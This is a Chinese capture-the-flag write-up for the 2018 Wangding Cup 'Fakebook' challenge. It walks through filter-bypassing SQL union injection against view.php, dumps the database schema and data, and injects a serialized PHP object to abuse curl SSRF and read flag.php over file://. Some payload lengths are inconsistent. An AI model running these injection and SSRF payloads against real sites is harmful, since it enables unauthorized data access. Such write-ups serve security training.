[网鼎杯 2018]Fakebook1
注册发现view.php?no=1
尝试基本的sql语句发现可行,但是存在过滤,union select 可为union/**/select使用
获取回显点。
查询user 发现root权限
在之前用dirsearch扫过备份文件,扫出:
访问robots.txt,存有文件,一个类
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
在这引入一个load_file函数
load_file函数只有在满足两个条件的情况下才可以使用:
1、文件权限:chmod a+x pathtofile
2、文件大小:必须小于max_allowed_packet
可以先尝试load_file读取flag 毕竟扫到一个flag.php 文件。load_file路径是个完整路径,在SQL报错时可以获取到路径。
另一种思路union 联合注入
获取表
?no=-1%20union/**/select%201,group_concat(table_name),3,4 from
information_schema.tables where table_schema=database()
获取字段:
?no=-1%20union/**/select%201,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
no为id username,passwrod 刚刚注册的值,data是什么鬼,看值。
?no=-1%20union/**/select%201,group_concat(data),3,4 from users
O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:18;s:4:“blog”;s:8:“blog.aaa”;}
data将我们输入的值序列化,可能在我调用的时候反序列化显示,在data第4位置传入试试
反序列化码?结合刚刚robots.txt获取文件。
curl_exec()可能存在ssrf读取内网文件,构造伪协议file://var/www/html/flag.php
O:8:“UserInfo”:3:{s:4:“name”;s:5:“admin”;s:3:“age”;i:18;s:4:“blog”;s:29:“file://var/www/html/flag.php”;}
?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:5:"admin";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
base64解密发现是flag